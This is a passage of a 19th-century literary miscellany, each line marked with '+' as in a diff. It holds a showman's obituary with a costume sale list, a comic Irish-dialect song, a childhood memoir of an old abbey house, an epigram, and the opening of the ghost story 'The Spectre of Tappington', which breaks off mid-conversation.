+eight fans, four baskets, and fifteen tails.
+
+A man's ghost dress, complete.
+
+A handsome woman's velvet dress, and Roman father's ditto.
+
+Three magicians' dresses, and five musicians' ditto.
+
+Nine spangled flys.
+
+A handsome demon's dress, spangled and ornamented with gilt [guilt]
+mask, and mace.
+
+Four demons' dresses, with _masks, complete_!
+
+_Executioner's_ dress and cap, complete; six black gowns, and _four
+falls_.
+
+A superfine admiral's coat and hat, trimmed with gold lace, breeches,
+and waistcoat.
+
+Ditto (no breeches).
+
+Lion, bear, monkey, and cat's dresses, with two masks.
+
+Two handsome _nondescript_ dresses.
+
+Such and so various were the articles in this unique three days' sale;
+and in the last some pieces of good old china were knocked down. Three
+weeks previously their owner was deposited in the cold church-yard of
+Great Marlow, in the grave, we are assured, of the Spotted Boy. The
+funeral was, at his request, conducted without _Show_; and his nephews
+and nieces--for he left no family--inherit his worldly wealth, under
+the executorship of Mr. Cross, the proprietor of the Surrey Zoological
+Garden and its giraffery.
+
+Many actors who have risen to celebrity began their course with him:
+Kean, first as outside and inside tumbling boy, and afterwards as a
+lending tragedian, with a salary of five shillings a day; Oxberry,
+Mitchell, Walbourn, and Sanders, A. Slader, Thwaites, Vaughan, S.
+Faucett, &c. were introduced to the public under his auspices. Who now
+shall open the gates of the temple to dramatic fame? The Janitor is gone
+for ever. A hearse is the last omnibus, after all. A hearse is the end
+of the showman's caravans, and the sexton is the last toll-collector he
+encounters in this world. John Richardson,
+
+                                 FAREWELL!
+
+
+
+
+            PADDY BLAKE'S ECHO.
+    A NEW VERSION FROM THE ORIGINAL IRISH.
+
+           "_Ecco_ ridente," &c.
+
+                     I.
+    There's a spot by that lake, sirs,
+      Where echoes were born,
+    Where one Paddy Blake, sirs,
+      Was walking one morn
+    With a great curiosity big in his mind!
+        Says he, "Mrs. Blake
+          Doesn't _trate_ me of late
+        In the fashion she did
+          When I first call'd her Kate:
+        She's crusty and surly,--
+          My cabin's the _dhiaoul_,
+        My pigs and my poultry
+          Are all cheek by jowl;
+    But what is the cause, from the _A_cho I'll find."
+
+   (_Spoken._)
+
+So up he goes _bouldly_ to the _A_cho, and says, "The top o' the mornin'
+t'ye, Misther or Missus _A_cho, for divil a know I know whether ye wear
+petticoats or breeches."
+
+"Neither," says the _A_cho in Irish.
+
+"Now, that being the case," says Paddy, turnin' sharp 'pon the _A_cho,
+d'ye see, "ye can tell me the stark-naked truth."
+
+"'Troth, an' ye may say that, with yir own purty mouth," says the _A_cho.
+
+"Well, thin," says Paddy agin, "what the divil's come over Mrs. Blake of
+late?"
+
+"_Potcheen!_" says the _A_cho.
+
+"Oh! (_shouting_) by the pow'rs of Moll Kelly," says Paddy, "I thought
+as mich:--
+
+    "It wasn't for nothin' the taypot was hid,
+    Though I guess'd what was in it, by smelling the lid!"
+
+                     II.
+        There's another suspicion
+          Comes over my mind,
+        That with all this _contrition_
+          And pray'rs, and that kind,
+    Ould Father Mahony's a wag in his way.
+        When a _station_, he says,
+          Will be held at _my_ house,
+        _I_ must go my ways,
+          Or be mute as a mouse.
+        For _him_ turkey and bacon
+          Is pull'd from the shelf;
+        Not so much as a cake on
+          The coals for myself:
+    But what all this _manes_, why, the _A_cho will say.
+
+   (_Spoken._)
+
+Up he goes agin to the _A_cho, and says, "Tell me, aff ye plase, what
+is't brings ould Father Mahony so everlastingly to my country seat in
+the bog of Bally Keeran?"
+
+"Mrs. Blake!" says the _A_cho.
+
+"Oh! hannimandhiaoul!" says Paddy, "I thought as mich--the thief o' the
+world--I thought as mich. Oh! tundher-a-nouns!
+
+    "I'll go home an' _bate_ her, until my heart's sore,
+    Then give her the key of the street evermore!"
+                                                       W.
+
+
+
+
+             RECOLLECTIONS OF CHILDHOOD.
+            BY THE AUTHOR OF HEADLONG HALL.
+
+                   THE ABBEY HOUSE.
+
+I passed many of my earliest days in a country town, on whose immediate
+outskirts stood an ancient mansion, bearing the name of the Abbey House.
+This mansion has long since vanished from the face of the earth; but
+many of my pleasantest youthful recollections are associated with it,
+and in my mind's eye I still see it as it stood, with its amiable,
+simple-mannered, old English inhabitants.
+
+The house derived its name from standing near, though not actually
+on, the site of one of those rich old abbies, whose demesnes the pure
+devotion of Henry the Eighth transferred from their former occupants
+(who foolishly imagined they had a right to them, though they lacked
+the might which is its essence,) to the members of his convenient
+parliamentary chorus, who helped him to run down his Scotch octave of
+wives. Of the abbey itself a very small portion remained: a gateway,
+and a piece of a wall which formed part of the enclosure of an orchard,
+wherein a curious series of fish-ponds, connected by sluices, was
+fed from a contiguous stream with a perpetual circulation of fresh
+water,--a sort of piscatorial panopticon, where all approved varieties
+of fresh-water fish had been classified, each in its own pond, and kept
+in good order, clean and fat, for the mortification of the flesh of the
+monastic brotherhood on fast-days.
+
+The road which led to the Abbey House terminated as a carriage-road
+with the house itself. Beyond it, a footpath over meadows conducted
+across a ferry to a village about a mile distant. A large clump of old
+walnut-trees stood on the opposite side of the road to a pair of massy
+iron gates, which gave entrance to a circular gravel road, encompassing
+a large smooth lawn, with a sun-dial in the centre, and bordered on both
+sides with tall thick evergreens and flowering shrubs, interspersed in
+the seasons with hollyhocks, sun-flowers, and other gigantic blossoms,
+such as are splendid in distance. Within, immediately opposite the
+gates, a broad flight of stone steps led to a ponderous portal, and
+to a large antique hall, laid with a chequered pavement of black and
+white marble. On the left side of the entrance was the porter's chair,
+consisting of a cushioned seat, occupying the depth of a capacious
+recess resembling a niche for a full-sized statue, a well-stuffed body
+of black leather glittering with gold-headed nails. On the right of
+this hall was the great staircase; on the left a passage to a wing
+appropriated to the domestics.
+
+Facing the portal, a door opened into an inner hall, in the centre of
+which was a billiard-table. On the right of this hall was a library;
+on the left a parlour, which was the common sitting-room; and facing
+the middle door was a glazed door, opening on the broad flight of stone
+steps which led into the gardens.
+
+The gardens were in the old style: a large square lawn occupied an ample
+space in the centre, separated by broad walks from belts of trees and
+shrubs on each side; and in front were two advancing groves, with a long
+wide vista between them, looking to the open country, from which the
+grounds were separated by a terraced wall over a deep sunken dyke. One
+of the groves we called the green grove, and the other the dark grove.
+The first had a pleasant glade, with sloping banks covered with flowery
+turf; the other was a mass of trees, too closely canopied with foliage
+for grass to grow beneath them.
+
+The family consisted of a gentleman and his wife, with two daughters
+and a son. The eldest daughter was on the confines of womanhood, the
+youngest was little more than a child; the son was between them. I do
+not know his exact age, but I was seven or eight, and he was two or
+three years more.
+
+The family lived, from taste, in a very retired manner; but to the few
+whom they received they were eminently hospitable. I was perhaps the
+foremost among these few; for Charles, who was my schoolfellow, was
+never happy in our holidays unless I was with him. A frequent guest
+was an elderly male relation, much respected by the family,--but no
+favourite of Charles, over whom he was disposed to assume greater
+authority than Charles was willing to acknowledge.
+
+The mother and daughter had all the solid qualities which were
+considered female virtues in the dark ages. Our enlightened age
+has, wisely no doubt, discarded many of them, and substituted show
+for solidity. The dark ages preferred the natural blossom, and the
+fruit that follows it; the enlightened age prefers the artificial
+double-blossom, which falls and leaves nothing. But the double blossom
+is brilliant while it lasts; and when there is so much light, there
+ought to be something to glitter in it.
+
+These ladies had the faculty of staying at home; and this was a
+principal among the antique faculties that upheld the rural mansions of
+the middling gentry. Ask Brighton, Cheltenham, _et id genus omne_, what
+has become of that faculty. And ask the ploughshare what has become of
+the rural mansions.
+
+They never, I think, went out of their own grounds but to church, or to
+take their regular daily airing in the old family-carriage. The young
+lady was an adept in preserving: she had one room, in a corner of the
+hall, between the front and the great staircase, entirely surrounded
+with shelves in compartments, stowed with classified sweetmeats,
+jellies, and preserved fruits, the work of her own sweet hands. These
+were distinguished ornaments of the supper-table; for the family dined
+early, and maintained the old fashion of supper. A child would not
+easily forget the bountiful and beautiful array of fruits, natural and
+preserved, and the ample variety of preparations of milk, cream, and
+custard, by which they were accompanied. The supper-table had matter for
+all tastes. I remember what was most to mine.
+
+The young lady performed on the harpsichord. Over what a gulph of time
+this name alone looks back! What a stride from that harpsichord to one
+of Broadwood's last grand-pianos! And yet with what pleasure, as I
+stood by the corner of the instrument, I listened to it, or rather to
+her! I would give much to know that the worldly lot of this gentle and
+amiable creature had been a happy one. She often gently remonstrated
+with me for putting her harpsichord out of tune by playing the bells
+upon it; but I was never in a serious scrape with her except once. I
+had insisted on taking from the nursery-maid the handle of the little
+girl's garden-carriage, with which I set off at full speed; and had not
+run many yards before I overturned the carriage, and rolled out the
+little girl. The child cried like Alice Fell, and would not be pacified.
+Luckily she ran to her sister, who let me off with an admonition,
+and the exaction of a promise never to meddle again with the child's
+carriage.
+
+Charles was fond of romances. The "Mysteries of Udolpho," and all the
+ghost and goblin stories of the day, were his familiar reading. I cared
+little about them at that time; but he amused me by narrating their
+grimmest passages. He was very anxious that the Abbey House should
+be haunted; but it had no strange sights or sounds, and no plausible
+tradition to hang a ghost on. I had very nearly accommodated him with
+what he wanted.
+
+The garden-front of the house was covered with jasmine, and it was a
+pure delight to stand in the summer twilight on the top of the stone
+steps inhaling the fragrance of the multitudinous blossoms. One evening,
+as I was standing on these steps alone, I saw something like the white
+head-dress of a tall figure advance from the right-hand grove,--the dark
+grove, as we called it,--and, after a brief interval, recede. This, at
+any rate, looked awful. Presently it appeared again, and again vanished.
+On which I jumped to my conclusion, and flew into the parlour with the
+announcement that there was a ghost in the dark grove. The whole family
+sallied forth to see the phenomenon. The appearances and disappearances
+continued. All conjectured what it could be, but none could divine. In
+a minute or two all the servants were in the hall. They all tried their
+skill, and were all equally unable to solve the riddle. At last, the
+master of the house leading the way, we marched in a body to the spot,
+and unravelled the mystery. It was a large bunch of flowers on the
+top of a tall lily, waving in the wind at the edge of the grove, and
+disappearing at intervals behind the stem of a tree. My ghost, and the
+compact phalanx in which we sallied against it, were long the subject of
+merriment. It was a cruel disappointment to Charles, who was obliged to
+abandon all hopes of having the house haunted.
+
+One day Charles was in disgrace with his elderly relation, who had
+exerted sufficient authority to make him a captive in his chamber.
+He was prohibited from seeing any one but me; and, of course, a most
+urgent messenger was sent to me express. I found him in his chamber,
+sitting by the fire, with a pile of ghostly tales, and an accumulation
+of lead, which he was casting into dumps in a mould. Dumps, the
+inexperienced reader must know, are flat circles of lead,--a sort of
+petty quoits,--with which schoolboys amused themselves half a century
+ago, and perhaps do so still, unless the march of mind has marched off
+with such vanities. No doubt, in the "astounding progress of intellect,"
+the time will arrive when boys will play at philosophers instead of
+playing at soldiers,--will fight with wooden arguments instead of wooden
+swords,--and pitch leaden syllogisms instead of leaden dumps. Charles
+was before the dawn of this new light. He had cast several hundred
+dumps, and was still at work. The quibble did not occur to me at the
+time; but, in after years, I never heard of a man in the dumps without
+thinking of my schoolfellow. His position was sufficiently melancholy.
+His chamber was at the end of a long corridor. He was determined not
+to make any submission, and his captivity was likely to last till the
+end of his holidays. Ghost-stories, and lead for dumps, were his stores
+and provisions for standing the siege of _ennui_. I think, with the aid
+of his sister, I had some share in making his peace; but, such is the
+association of ideas, that, when I first read in Lord Byron's Don Juan,
+
+    "I pass my evenings in long galleries solely,
+    And that's the reason I'm so melancholy,"
+
+the lines immediately conjured up the image of poor Charles in the midst
+of his dumps and spectres at the end of his own long gallery.
+
+
+
+
+                EPIGRAM.
+            BY JOYCE JOCUND.
+
+    So well deserved is Roger's fame,
+      That friends who hear him most, advise
+    The EGOTIST to Change his name
+      To "Argus--with his hundred I's!"
+
+
+   [Illustration: The Spectre of Tappington]
+
+
+
+
+                    FIRE-SIDE STORIES.--No. I.
+                    THE SPECTRE OF TAPPINGTON.
+
+"It is very odd, though, what can have become of them?" said Charles
+Seaforth, as he peeped under the valance of an old-fashioned bedstead,
+in an old-fashioned apartment of a still more old-fashioned manor-house;
+"'tis confounded odd, and I can't make it out at all. Why, Barney, where
+are they? and where the d--l are you?"
+
+No answer was returned to this appeal; and the lieutenant, who was in
+the main a reasonable person,--at least as reasonable a person as any
+young gentleman of twenty-two in "the service" can fairly be expected
+to be,--cooled when he reflected that his servant could scarcely reply
+extempore to a summons which it was impossible he should hear.
+
+An application to the bell was the considerate result; and the footsteps
+of as tight a lad as ever put pipe-clay to belt sounded along the
+gallery.
+
+"Come in!" said his master. An ineffectual attempt upon the door
+reminded Mr. Seaforth that he had locked himself in. "By Heaven! this is
+the oddest thing of all," said he, as he turned the key and admitted Mr.
+Maguire into his dormitory.
+
+"Barney, where are my pantaloons?"
+
+"Is it the breeches?" asked the valet, casting an inquiring eye round
+the apartment; "is it the breeches, sir?"
+
+"Yes; what have you done with them?"
+
+"Sure then your honour had them on when you went to bed, and it's
+hereabouts they'll be, I'll be bail;" and Barney lifted a fashionable
+tunic from a cane-backed arm-chair, proceeding in his examination.
+But the search was vain. There was the tunic aforesaid,--there was a
+smart-looking kerseymere waistcoat; but the most important article in a
+gentleman's wardrobe was still wanting.
+
+"Where _can_ they be?" asked the master with a strong accent on the
+auxiliary verb.
+
+"Sorrow a know I knows," said the man.
+
+"It must have been the devil, then, after all, who has been here and
+carried them off!" cried Seaforth, staring full into Barney's face.
+
+Mr. Maguire was not devoid of the superstition of his countrymen, but he
+looked as if he did not subscribe to the _sequitur_.
+
+His master read incredulity in his countenance. "Why, I tell you,
+Barney, I put them there, on that arm-chair, when I got into bed; and,
+by Heaven! I distinctly saw the ghost of the old fellow they told me of,
+come in at midnight, put on my pantaloons, and walk away with them."
+
+"Maybe so," was the cautious reply.
+
+"I thought, of course, it was a dream; but then,--where the d--l are the
+breeches?"
+
+The question was more easily asked than answered. Barney renewed his
+search, while the lieutenant folded his arms, and, leaning against the
+toilet, sunk into a reverie.
+
+"After all, it must be some trick of my laughter-loving cousins," said
+Seaforth.
+
+"Ah! then, the ladies!" chimed in Mr. Maguire, though the observation
+was not addressed to him; "and will it be Miss Caroline, or Miss
+Margaret, that's stole your honour's things?"
+
+"I hardly know what to think of it," pursued the bereaved lieutenant,
+still speaking in soliloquy, with his eye resting dubiously on the
+chamber door. "I locked myself in, that's certain; and--but there must
+be some other entrance to the room--pooh! I remember--the private
+staircase: how could I be such a fool?" and he crossed the chamber to
+where a low oaken door-case was dimly visible in a distant corner. He
+paused before it. Nothing now interfered to screen it from observation;
+but it bore tokens of having been at some earlier period concealed by
+tapestry, remains of which yet clothed the walls on either side the
+portal.
+
+"This way they must have come," said Seaforth; "I wish with all my heart
+I had caught them!"
+
+"Och! the kittens!" sighed Mr. Barney Maguire.
+
+But the mystery was yet as far from being solved as before. True, there
+_was_ the "other door;" but then that, too, on examination, was even
+more firmly secured than the one which opened on the gallery,--two heavy
+bolts on the inside effectually prevented any _coup de main_ on the
+lieutenant's _bivouac_ from that quarter. He was more puzzled than ever;
+nor did the minutest inspection of the walls and floor throw any light
+upon the subject: one thing only was clear,--the breeches were gone! "It
+is _very_ singular," said the lieutenant.
+
+       *       *       *       *       *
+
+Tappington (generally called Tapton) Everard, is an antiquated but
+commodious manor-house in the eastern division of the county of Kent. A
+former proprietor had been high sheriff in the days of Elizabeth, and
+many a dark and dismal tradition was yet extant of the licentiousness of
+his life, and the enormity of his offences. The Glen, which the keeper's
+daughter was seen to enter, but never known to quit, still frowns darkly
+as of yore; while an ineradicable bloodstain on the oaken stair yet bids
+defiance to the united energies of soap and sand. But it is with one
+particular apartment that a deed of more especial atrocity is said to be
+connected. A stranger guest--so runs the legend--arrived unexpectedly at
+the mansion of the "Bad Sir Giles." They met in apparent friendship; but
+the ill-concealed scowl on their master's brow told the domestics that
+the visit was not a welcome one. The banquet, however, was not spared;
+the wine-cup circulated freely,--too freely, perhaps,--for sounds of
+discord at length reached the ears of even the excluded serving-men as
+they were doing their best to imitate their betters in the lower hall.
+Alarmed, some of them ventured to approach the parlour; one, an old and
+favoured retainer of the house, went so far as to break in upon his
+master's privacy. Sir Giles, already high in oath, fiercely enjoined his
+absence, and he retired; not, however, before he had distinctly heard
+from the stranger's lips a menace that "There was that within his pocket
+which could disprove the knight's right to issue that, or any other,
+command within the walls of Tapton."
+
+The intrusion, though momentary, seemed to have produced a beneficial
+effect; the voices of the disputants fell, and the conversation was
+carried on thenceforth in a more subdued tone, till, as evening closed
+in, the domestics, when summoned to attend with lights, found not only
+cordiality restored, but that a still deeper carouse was meditated.
+Fresh stoups, and from the choicest bins, were produced; nor was it
+till at a late, or rather early, hour, that the revellers sought their
+chambers.
+
+The one allotted to the stranger occupied the first floor of the
+eastern angle of the building, and had once been the favourite apartment
+of Sir Giles himself. Scandal ascribed this preference to the facility
+which a private staircase, communicating with the grounds, had afforded
+him, in the old knight's time, of following his wicked courses unchecked
+by parental observation; a consideration which ceased to be of weight
+when the death of his father left him uncontrolled master of his estate
+and actions. From that period Sir Giles had established himself in what
+were called the "state-apartments;" and the "oaken chamber" was rarely
+tenanted, save on occasions of extraordinary festivity, or when the Yule
+log drew an unusually large accession of guests around the Christmas
+hearth.
+
+On this eventful night it was prepared for the unknown visitor, who
+sought his couch heated and inflamed from his midnight orgies, and in
+the morning was found in his bed a swollen and blackened corpse. No
+marks of violence appeared upon the body; but the livid hue of the lips,
+and certain dark-coloured spots visible on the skin, aroused suspicions
+which those who entertained them were too timid to express. Apoplexy,
+induced by the excesses of the preceding night, Sir Giles's confidential
+leech pronounced to be the cause of his sudden dissolution: the body was
+buried in peace; and, though some shook their heads as they witnessed
+the haste with which the funeral rites were hurried on, none ventured to
+murmur. Other events arose to distract the attention of the retainers;
+men's minds became occupied by the stirring politics of the day, while
+the near approach of that formidable armada, so vainly arrogating to
+itself a title which the very elements joined with human valour to
+disprove, soon interfered to weaken, if not obliterate, all remembrance
+of the nameless stranger who had died within the walls of Tapton Everard.
+
+Years rolled on: the "Bad Sir Giles" had himself long since gone to his
+account, the last, as it was believed, of his immediate line; though
+a few of the older tenants were sometimes heard to speak of an elder
+brother, who had disappeared in early life, and never inherited the
+estate. Rumours, too, of his having left a son in foreign lands were at
+one time rife; but they died away, nothing occurring to support them:
+the property passed unchallenged to a collateral branch of the family,
+and the secret, if secret there were, was buried in Denton churchyard,
+in the lonely grave of the mysterious stranger. One circumstance alone
+occurred, after a long intervening period, to revive the memory of these
+transactions. Some workmen employed in grubbing an old plantation, for
+the purpose of raising on its site a modern shrubbery, dug up, in the
+execution of their task, the mildewed remnants of what seemed to have
+been once a garment. On more minute inspection, enough remained of
+silken slashes and a coarse embroidery to identify the relics as having
+once formed part of a pair of trunk hose; while a few papers which fell
+from them, altogether illegible from damp and age, were by the unlearned
+rustics conveyed to the then owner of the estate.
+
+Whether the squire was more successful in deciphering them was never
+known; he certainly never alluded to their contents; and little would
+have been thought of the matter but for the inconvenient memory of one
+old woman, who declared she had heard her grandfather say that when the
+"stranger guest" was poisoned, though all the rest of his clothes were
+there, his breeches, the supposed repository of the supposed documents,
+could never be found. The master of Tapton Everard smiled when he heard
+Dame Jones's hint of deeds which might impeach the validity of his own
+title in favour of some unknown descendant of some unknown heir; and
+the story was rarely alluded to, save by one or two miracle-mongers,
+who had heard that others had seen the ghost of old Sir Giles, in his
+night-cap, issue from the postern, enter the adjoining copse, and wring
+his shadowy hands in agony as he seemed to search vainly for something
+hidden among the evergreens. The stranger's death-room had, of course,
+been occasionally haunted from the time of his decease; but the periods
+of visitation had latterly become very rare,--even Mrs. Botherby, the
+housekeeper, being forced to admit that, during her long sojourn at the
+manor, she had never "met with anything worse than herself;" though, as
+the old lady afterwards added upon more mature reflection, "I must say I
+think I saw the devil once."
+
+Such was the legend attached to Tapton Everard, and such the story
+which the lively Caroline Ingoldsby detailed to her equally mercurial
+cousin Charles Seaforth, lieutenant in the Hon. East India Company's
+second regiment of Bombay Fencibles, as arm-in-arm they promenaded a
+gallery decked with some dozen grim-looking ancestral portraits, and,
+among others, with that of the redoubted Sir Giles himself. The gallant
+commander had that very morning paid his first visit to the house of
+his maternal uncle, after an absence of several years passed with his
+regiment on the arid plains of Hindostan, whence he was now returned
+on a three years' furlough. He had gone out a boy,--he returned a man;
+but the impression made upon his youthful fancy by his favourite cousin
+remained unimpaired, and to Tapton he directed his steps, even before
+he sought the home of his widowed mother,--comforting himself in this
+breach of filial decorum by the reflection that, as the manor was so
+little out of his way, it would be unkind to pass, as it were, the door
+of his relatives without just looking in for a few hours.
+
+But he found his uncle as hospitable and his cousin more charming
+than ever; and the looks of one, and the requests of the other, soon
+precluded the possibility of refusing to lengthen the "few hours" into a
+few days, though the house was at the moment full of visitors.
+
+The Peterses were there from Ramsgate; and Mr., Mrs., and the two Miss
+Simpkinsons, from Bath, had come to pass a month with the family;
+and Tom Ingoldsby had brought down his college friend the Honourable
+Augustus Sucklethumbkin, with his groom and pointers, to take a
+fortnight's shooting. And then there was Mrs. Ogleton, the rich young
+widow, with her large black eyes, who, people did say, was setting her
+cap at the young squire, though Mrs. Botherby did not believe it; and,
+above all, there was Mademoiselle Pauline; her _femme de chambre_, who
+"_Mon-Dieu_'d" everything and everybody, and cried "_Quel horreur!_"
+at Mrs. Botherby's cap. In short, to use the last-named and much
+respected lady's own expression, the house was "choke-full" to the
+very attics,--all, save the "oaken chamber," which, as the lieutenant
+expressed a most magnanimous disregard of ghosts, was forthwith
+appropriated to his particular accommodation. Mr. Maguire meanwhile
+was fain to share the apartment of Oliver Dobbs, the squire's own man;
+a jocular proposal of joint occupancy having been first indignantly
+rejected by "Mademoiselle," though preferred with the "laste taste in
+life" of Mr. Barney's most insinuating brogue.
+
+       *       *       *       *       *
+
+"Come, Charles, the urn is absolutely getting cold; your breakfast
+will be quite spoiled: what can have made you so idle?" Such was the
+morning salutation of Miss Ingoldsby to the _militaire_ as he entered
+the breakfast-room half an hour after the latest of the party.
+
+"A pretty gentleman, truly, to make an appointment with," chimed in Miss
+Margaret. "What is become of our ramble to the rocks before breakfast?"
+
+"Oh! the young men never think of keeping a promise now," said Mrs.
+Peters, a little ferret-faced woman with underdone eyes.
+
+"When I was a young man," said Mr. Peters, "I remember I always made a
+point of----"
+
+"Pray how long ago was that?" asked Mr. Simpkinson from Bath.
+
+"Why, sir, when I married Mrs. Peters, I was--let me see--I was----"
+
+"Do pray hold your tongue, P., and eat your breakfast!" interrupted his
+better half, who had a mortal horror of chronological references; "it's
+very rude to tease people with your family affairs."
+
+The lieutenant had by this time taken his seat in silence,--a
+good-humoured nod, and a glance, half-smiling, half-inquisitive, being
+the extent of his salutation. Smitten as he was, and in the immediate
+presence of her who had made so large a hole in his heart, his manner
+was evidently _distrait_, which the fair Caroline in her secret soul
+attributed to his being solely occupied by her _agrémens_,--how would
+she have bridled had she known that they only shared his meditations
+with a pair of breeches!
+
+Charles drank his coffee and spiked some half-dozen eggs, darting
+occasionally a penetrating glance at the ladies, in hope of detecting
+the supposed waggery by the evidence of some furtive smile or conscious
+look. But in vain! not a dimple moved indicative of roguery, nor did
+the slightest elevation of eyebrow rise confirmative of his suspicions.
+Hints and insinuations passed unheeded,--more particular inquiries were
+out of the question:--the subject was unapproachable.
+
+In the mean time, "patent cords" were just the thing for a morning's
+ride, and, breakfast ended, away cantered the party over the downs,
+till, every faculty absorbed by the beauties, animate and inanimate,
+which surrounded him, Lieutenant Seaforth of the Bombay Fencibles
+bestowed no more thought upon his breeches than if he had been born on
+the top of Ben Lomond.
+
+       *       *       *       *       *
+
+Another night had passed away; the sun rose brilliantly, forming with
+his level beams a splendid rainbow in the far-off west, whither the
+heavy cloud, which for the last two hours had been pouring its waters on
+the earth, was now flying before him.
+
+"Ah! then, and it's little good it'll be the claning of ye,"
+apostrophised Mr. Barney Maguire, as he deposited, in front of his
+master's toilet, a pair of "bran-new" jockey boots, one of Hoby's
+primest fits, which the lieutenant had purchased in his way through
+town. On that very morning had they come for the first time under the
+valet's depuriating hand, so little soiled, indeed, from the turfy ride
+of the preceding day, that a less scrupulous domestic might, perhaps
+have considered the application of "Warren's Matchless," or oxalic
+acid, altogether superfluous. Not so Barney: with the nicest care had
+he removed the slightest impurity from each polished surface, and there
+they stood rejoicing in their sable radiance. No wonder a pang shot
+across Mr. Maguire's breast as he thought on the work now cut out for
+them, so different from the light labours of the day before; no wonder
+he murmured with a sigh, as the scarce dried window-panes disclosed
+a road now inch-deep in mud. "Ah! then, it's little good the claning
+of ye!"--for well had he learned in the hell below that eight miles
+of a stiff clay soil lay between the manor and Bolsover Abbey, whose
+picturesque ruins,
+
+          "Like ancient Rome, majestic in decay,"
+
+the party had determined to explore. The master had already
+commenced dressing, and the man was fitting straps upon a light
+pair of crane-necked spurs, when his hand was arrested by the old
+question,--"Barney, where are the breeches?"
+
+       *       *       *       *       *
+
+Mr. Seaforth descended that morning, whip in hand, and equipped in
+a handsome green riding-frock, but no "breeches and boots to match"
+were there: loose jean trousers, surmounting a pair of diminutive
+Wellingtons, embraced, somewhat incongruously, his nether man, _vice_
+the "patent cords," returned, like yesterday's pantaloons, absent
+without leave. The "top-boots" had a holiday.
+
+"A fine morning after the rain," said Mr. Simpkinson from Bath.
+
+"Just the thing for the 'ops," said Mr. Peters. "I remember when
+I was a boy----"
+
+"Do hold your tongue, P.," said Mrs. Peters,--advice which that
+exemplary matron was in the constant habit of administering to "her
+P.," as she called him, whenever he prepared to vent his reminiscences.
+Her precise reason for this it would be difficult to determine, unless,
+indeed, the story be true which a little bird had whispered into Mrs.
+Botherby's ear,--Mr. Peters, though now a wealthy man, had received a
+liberal education at a charity-school, and was apt to recur to the days
+of his muffin-cap and leathers. As usual, he took his wife's hint in
+good part, and "paused in his reply."
+
+"A glorious day for the Ruins!" said young Ingoldsby. "But, Charles,
+what the deuce are you about?--you don't mean to ride through our lanes
+in such toggery as that?"
+
+"Lassy me!" said Miss Julia Simpkinson, "won't you be very wet?"
+
+"You had better take Tom's cab," quoth the squire.
+
+But this proposition was at once overruled; Mrs. Ogleton had already
+nailed the cab, a vehicle of all others the best adapted for a snug
+flirtation.
+
+"Or drive Miss Julia in the phaeton?" No; that was the post of Mr.
+Peters, who, indifferent as an equestrian, had acquired some fame as
+a whip while travelling through the midland counties for the firm of
+Bagshaw, Snivelby, and Ghrimes.
+
+"Thank you, I shall ride with my cousins," said Charles with as much
+_nonchalance_ as he could assume,--and he did so; Mr. Ingoldsby, Mrs.
+Peters, Mr. Simpkinson from Bath, and his eldest daughter with her
+_album_, following in the family coach. The gentleman-commoner "voted
+the affair d--d slow," and declined the party altogether in favour
+of the gamekeeper and a cigar. "There was 'no fun' in looking at old
+houses!" Mrs. Simpkinson preferred a short _séjour_ in the still-room
+with Mrs. Botherby, who had promised to initiate her in that grand
+_arcanum_, the transmutation of gooseberry jam into Guava jelly.
+
+       *       *       *       *       *
+
+"Did you ever see an old abbey before, Mr. Peters?"
+
+"Yes, miss, a French one; we have got one at Ramsgate; he teaches the
+Miss Joneses to parleyvoo, and is turned of sixty."
+
+Miss Simpkinson closed her album with an air of ineffable disdain.
+
+Mr. Simpkinson from Bath was a professed antiquary, and one of the first
+water; he was master of Gwillim's Heraldry, and Milles's History of the
+Crusades; knew every plate in the Monasticon, had written an essay on
+the origin and dignity of the office of Overseer, and settled the date
+of a Queen Anne's farthing. An influential member of the Antiquarian
+Society, to whose "Beauties of Bagnigge Wells" he had been a liberal
+subscriber, procured him a seat at the board of that learned body,
+since which happy epoch Sylvanus Urban had not a more indefatigable
+correspondent. His inaugural essay on the President's cocked hat was
+considered a miracle of erudition; and his account of the earliest
+application of gilding to gingerbread, a masterpiece of antiquarian
+research. His eldest daughter was of a kindred spirit: if her father's
+mantle had not fallen upon her, it was only because he had not thrown
+it off himself; she had caught hold of its tail, however, while yet
+upon his honoured shoulders. To souls so congenial what a sight was
+the magnificent ruin of Bolsover! its broken arches, its mouldering
+pinnacles, and the airy tracery of its half-demolished windows. The
+party was in raptures; Mr. Simpkinson began to meditate an essay, and
+his daughter an ode: even Seaforth, as he gazed on these lonely relics
+of the olden time, was betrayed into a momentary forgetfulness of his
+love and losses; the widow's eye-glass turned from her _cicisbeo_'s
+whiskers to the mantling ivy; Mrs. Peters wiped her spectacles; and
+"her P." pronounced the central tower to be "very like a mouldy Stilton
+cheese,--only bigger." The squire was a philosopher, and had been there
+often before; so he ordered out the cold tongue and chickens.
+
+"Bolsover Priory," said Mr. Simpkinson with the air of a
+connoisseur,--"Bolsover Priory was founded in the reign of Henry the
+Sixth, about the beginning of the eleventh century. Hugh de Bolsover had
+accompanied that monarch to the Holy Land in the expedition undertaken
+by way of penance for the murder of his young nephews in the Tower.
+Upon the dissolution of the monasteries the veteran was enfeoffed in
+the lands and manor, to which he gave his own name of Bowlsover, or
+Bee-owls-over, (by corruption Bolsover,)--a Bee in chief, over three
+Owls, all proper, being the armorial ensigns borne by this distinguished
+crusader at the siege of Acre."
+
+"Ah! that was Sir Sidney Smith," said Mr. Peters; "I've heard of him,
+and all about Mrs. Partington, and----"
+
+"P. be quiet, and don't expose yourself!" sharply interrupted his lady.
+P. was silenced, and betook himself to the bottled stout.
+
+"These lands," continued the antiquary, "were held in grand serjeantry
+by the presentation of three white owls and a pot of honey----"
+
+"Lassy me! how nice!" said Miss Julia. Mr. Peters licked his lips.
+
+"Pray give me leave, my dear----owls and honey, whenever the king
+should come a rat-catching into this part of the country."
+
+"Rat-catching!" ejaculated the squire, pausing abruptly in the
+mastication of a drumstick.
+
+"To be sure, my dear sir: don't you remember that rats once came under
+the forest laws--a minor species of venison? 'Rats and mice, and such
+small deer,' eh?--Shakspeare, you know. Our ancestors ate rats;" ("The
+nasty fellows!" shuddered Miss Julia in a parenthesis) "and owls, you
+know, are capital mousers----"
+
+"I've seen a howl," said Mr. Peters; "there's one in the Sohological
+Gardens,--a little hook-nosed chap in a wig,--only it's feathers and----"
+
+Poor P. was destined never to finish a speech.
+
+"_Do_ be quiet!" cried the authoritative voice, and the would-be
+naturalist shrank into his shell like a snail in the "Sohological
+Gardens."
+
+"You should read Blount's 'Jocular Tenures,' Mr. Ingoldsby," pursued
+Simpkinson. "A learned man was Blount! Why, sir, his Royal Highness the
+Duke of York once paid a silver horse-shoe to Lord Ferrers----"
+
